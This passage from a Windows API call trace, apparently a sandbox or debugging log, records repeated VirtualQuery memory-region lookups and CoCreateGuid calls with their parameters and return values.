__alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.238] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.239] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.239] VirtualQuery (in: lpAddress=0x24bac0, lpBuffer=0x24c980, dwLength=0x30 | out: lpBuffer=0x24c980*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.239] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.240] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.240] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.240] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.240] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xd6b9117e, Data2=0x8363, Data3=0x420a, Data4=([0]=0xa6, [1]=0x35, [2]=0xab, [3]=0x4f, [4]=0x50, [5]=0xc8, [6]=0x40, [7]=0xa5))) returned 0x0 [0043.241] VirtualQuery (in: lpAddress=0x24b680, lpBuffer=0x24c540, dwLength=0x30 | out: lpBuffer=0x24c540*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.241] VirtualQuery (in: lpAddress=0x24b710, lpBuffer=0x24c5d0, dwLength=0x30 | out: lpBuffer=0x24c5d0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.241] VirtualQuery (in: lpAddress=0x24b930, lpBuffer=0x24c7f0, dwLength=0x30 | out: lpBuffer=0x24c7f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.242] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xcf2dd149, Data2=0xf767, Data3=0x4982, Data4=([0]=0xa4, [1]=0xad, [2]=0x72, [3]=0x0, [4]=0xcd, [5]=0x87, [6]=0x3d, [7]=0xce))) returned 0x0 [0043.242] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x65f993c2, Data2=0xd16d, Data3=0x4d1d, Data4=([0]=0xa3, [1]=0x23, [2]=0xa5, [3]=0xc8, [4]=0x29, [5]=0x7d, [6]=0xad, [7]=0x5b))) returned 0x0 [0043.242] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xbfa18ad8, Data2=0x110a, Data3=0x4472, Data4=([0]=0xbf, [1]=0x1e, [2]=0x8b, [3]=0x2f, [4]=0x96, [5]=0x6f, [6]=0xd6, [7]=0x90))) returned 0x0 [0043.243] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x84ac1f9b, Data2=0x3681, Data3=0x41fc, Data4=([0]=0x9c, [1]=0xc9, [2]=0x2b, [3]=0x47, [4]=0xd7, [5]=0xfe, [6]=0x1, [7]=0x97))) returned 0x0 [0043.243] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x76be26a4, Data2=0x1bb2, Data3=0x4848, Data4=([0]=0x9d, [1]=0xdf, [2]=0x1c, [3]=0x7a, [4]=0x37, [5]=0xf3, [6]=0x45, [7]=0x28))) returned 0x0 [0043.243] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x954f7280, Data2=0x8ca5, Data3=0x4e45, Data4=([0]=0xb3, [1]=0x67, [2]=0xdb, [3]=0xb5, [4]=0x40, [5]=0xb5, [6]=0xaa, [7]=0xb2))) returned 0x0 [0043.243] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xff5c716, Data2=0x49c0, Data3=0x40ad, Data4=([0]=0x8f, [1]=0x26, [2]=0x2, [3]=0xdf, [4]=0xcb, [5]=0xce, [6]=0x80, [7]=0x28))) returned 0x0 [0043.243] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x91e6d4d3, Data2=0x4d13, Data3=0x4286, Data4=([0]=0x88, [1]=0x30, [2]=0x77, [3]=0x50, [4]=0x20, [5]=0xad, [6]=0x1d, [7]=0xa3))) returned 0x0 [0043.244] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.244] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.244] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.244] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.244] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.245] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.245] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.245] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.245] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.246] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.246] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.246] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.246] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.246] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.247] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.247] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.247] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.247] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.248] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.248] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.248] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x229283a1, Data2=0xa57a, Data3=0x4aa3, Data4=([0]=0xb1, [1]=0x91, [2]=0x96, [3]=0xae, [4]=0x6f, [5]=0x82, [6]=0x1d, [7]=0xa1))) returned 0x0 [0043.248] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.248] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.248] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.249] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.249] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.249] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.249] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.249] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.250] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.250] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.250] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.250] VirtualQuery (in: lpAddress=0x24be00, lpBuffer=0x24ccc0, dwLength=0x30 | out: lpBuffer=0x24ccc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.250] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.251] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.251] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.251] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.251] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.252] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.252] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.252] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.252] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xdf82f267, Data2=0xb391, Data3=0x4981, Data4=([0]=0xa0, [1]=0x76, [2]=0x45, [3]=0x44, [4]=0x69, [5]=0xa2, [6]=0x7f, [7]=0xdc))) returned 0x0 [0043.252] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.253] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.253] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.253] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.253] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.254] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] VirtualQuery (in: lpAddress=0x24bac0, lpBuffer=0x24c980, dwLength=0x30 | out: lpBuffer=0x24c980*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.255] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xc25b12a9, Data2=0x8ca9, Data3=0x4ba8, Data4=([0]=0x9f, [1]=0x32, [2]=0xe6, [3]=0x36, [4]=0x4d, [5]=0x5c, [6]=0x32, [7]=0x3))) returned 0x0 [0043.256] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xc740e1a9, Data2=0x5c73, Data3=0x4e4d, Data4=([0]=0xb9, [1]=0xbb, [2]=0x81, [3]=0x96, [4]=0x15, [5]=0xb6, [6]=0xa, [7]=0xdd))) returned 0x0 [0043.256] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa2b5e812, Data2=0xa432, Data3=0x4fbb, Data4=([0]=0xa9, [1]=0xa4, [2]=0x42, [3]=0xc2, [4]=0x7c, [5]=0xc3, [6]=0xee, [7]=0xa0))) returned 0x0 [0043.256] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xbc09b144, Data2=0x8573, Data3=0x461a, Data4=([0]=0x8a, [1]=0xc3, [2]=0xe5, [3]=0xe1, [4]=0xe6, [5]=0x69, [6]=0x88, [7]=0xb7))) returned 0x0 [0043.256] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xc4016605, Data2=0xe6fd, Data3=0x443f, Data4=([0]=0xae, [1]=0x2f, [2]=0x6c, [3]=0xac, [4]=0x4a, [5]=0x77, [6]=0xe5, [7]=0x50))) returned 0x0 [0043.257] VirtualQuery (in: lpAddress=0x24bbd0, lpBuffer=0x24ca90, dwLength=0x30 | out: lpBuffer=0x24ca90*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.257] VirtualQuery (in: lpAddress=0x24bc60, lpBuffer=0x24cb20, dwLength=0x30 | out: lpBuffer=0x24cb20*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.257] 